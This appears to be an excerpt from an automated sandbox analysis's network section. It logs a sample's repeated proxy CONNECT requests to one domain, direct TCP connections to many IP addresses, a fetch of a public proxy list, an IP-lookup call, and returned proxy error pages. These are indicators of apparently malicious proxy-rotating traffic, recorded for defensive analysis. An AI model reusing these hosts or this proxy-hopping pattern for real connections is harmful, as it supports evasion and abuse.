Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 72.167.222.113
Source: unknown	TCP traffic detected without corresponding DNS query: 152.32.78.24
Source: unknown	TCP traffic detected without corresponding DNS query: 103.26.108.118
Source: unknown	TCP traffic detected without corresponding DNS query: 50.217.226.43
Source: unknown	TCP traffic detected without corresponding DNS query: 92.204.134.38
Source: unknown	TCP traffic detected without corresponding DNS query: 190.186.237.103
Source: unknown	TCP traffic detected without corresponding DNS query: 160.248.80.91
Source: unknown	TCP traffic detected without corresponding DNS query: 154.72.90.74
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.8.162
Source: unknown	TCP traffic detected without corresponding DNS query: 45.11.95.165
Source: unknown	TCP traffic detected without corresponding DNS query: 162.241.6.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.187.55.39
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.111.135
Source: unknown	TCP traffic detected without corresponding DNS query: 201.20.67.70
Source: unknown	TCP traffic detected without corresponding DNS query: 103.169.130.46
Source: unknown	TCP traffic detected without corresponding DNS query: 41.74.91.244
Source: unknown	TCP traffic detected without corresponding DNS query: 103.141.66.78
Source: unknown	TCP traffic detected without corresponding DNS query: 162.241.70.64
Source: unknown	TCP traffic detected without corresponding DNS query: 207.180.234.220
Source: unknown	TCP traffic detected without corresponding DNS query: 203.161.32.242
Source: unknown	TCP traffic detected without corresponding DNS query: 20.219.180.149
Source: unknown	TCP traffic detected without corresponding DNS query: 172.67.254.127
Source: unknown	TCP traffic detected without corresponding DNS query: 85.120.30.66
Source: unknown	TCP traffic detected without corresponding DNS query: 14.103.24.148
Source: unknown	TCP traffic detected without corresponding DNS query: 117.70.49.235
Source: unknown	TCP traffic detected without corresponding DNS query: 142.54.237.34
Source: unknown	TCP traffic detected without corresponding DNS query: 3.24.58.156
Source: unknown	TCP traffic detected without corresponding DNS query: 43.133.136.208
Source: unknown	TCP traffic detected without corresponding DNS query: 18.141.177.23
Source: unknown	TCP traffic detected without corresponding DNS query: 104.16.226.6
Source: unknown	TCP traffic detected without corresponding DNS query: 200.174.198.95
Source: unknown	TCP traffic detected without corresponding DNS query: 45.56.220.210
Source: unknown	TCP traffic detected without corresponding DNS query: 103.226.232.188
Source: unknown	TCP traffic detected without corresponding DNS query: 104.21.6.88
Source: unknown	TCP traffic detected without corresponding DNS query: 116.97.240.147
Source: unknown	TCP traffic detected without corresponding DNS query: 143.255.140.28
Source: unknown	TCP traffic detected without corresponding DNS query: 113.53.3.242
Source: unknown	TCP traffic detected without corresponding DNS query: 103.167.68.255
Source: unknown	TCP traffic detected without corresponding DNS query: 122.152.53.25
Source: unknown	TCP traffic detected without corresponding DNS query: 51.222.241.157
Source: unknown	TCP traffic detected without corresponding DNS query: 8.209.255.13
Source: unknown	TCP traffic detected without corresponding DNS query: 162.214.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 194.4.50.91
Source: unknown	TCP traffic detected without corresponding DNS query: 103.199.155.18
Source: unknown	TCP traffic detected without corresponding DNS query: 4.182.9.108
Source: unknown	TCP traffic detected without corresponding DNS query: 4.182.9.108
Source: unknown	TCP traffic detected without corresponding DNS query: 208.109.14.49
Source: unknown	TCP traffic detected without corresponding DNS query: 4.182.9.108
Source: unknown	TCP traffic detected without corresponding DNS query: 91.213.119.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.24.43.214

Source: global traffic	HTTP traffic detected: GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: github.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.22.1Date: Mon, 11 Mar 2024 15:42:18 GMTContent-Type: text/htmlContent-Length: 555Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.22.1</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/3.5.27Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:42:19 GMTContent-Type: text/html;charset=utf-8Content-Length: 3902X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>E
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/3.5.27Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:42:19 GMTContent-Type: text/html;charset=utf-8Content-Length: 3932X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>E
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 33 35 37 37 36 34 33 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003903577643"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 33 38 37 33 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908313873"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
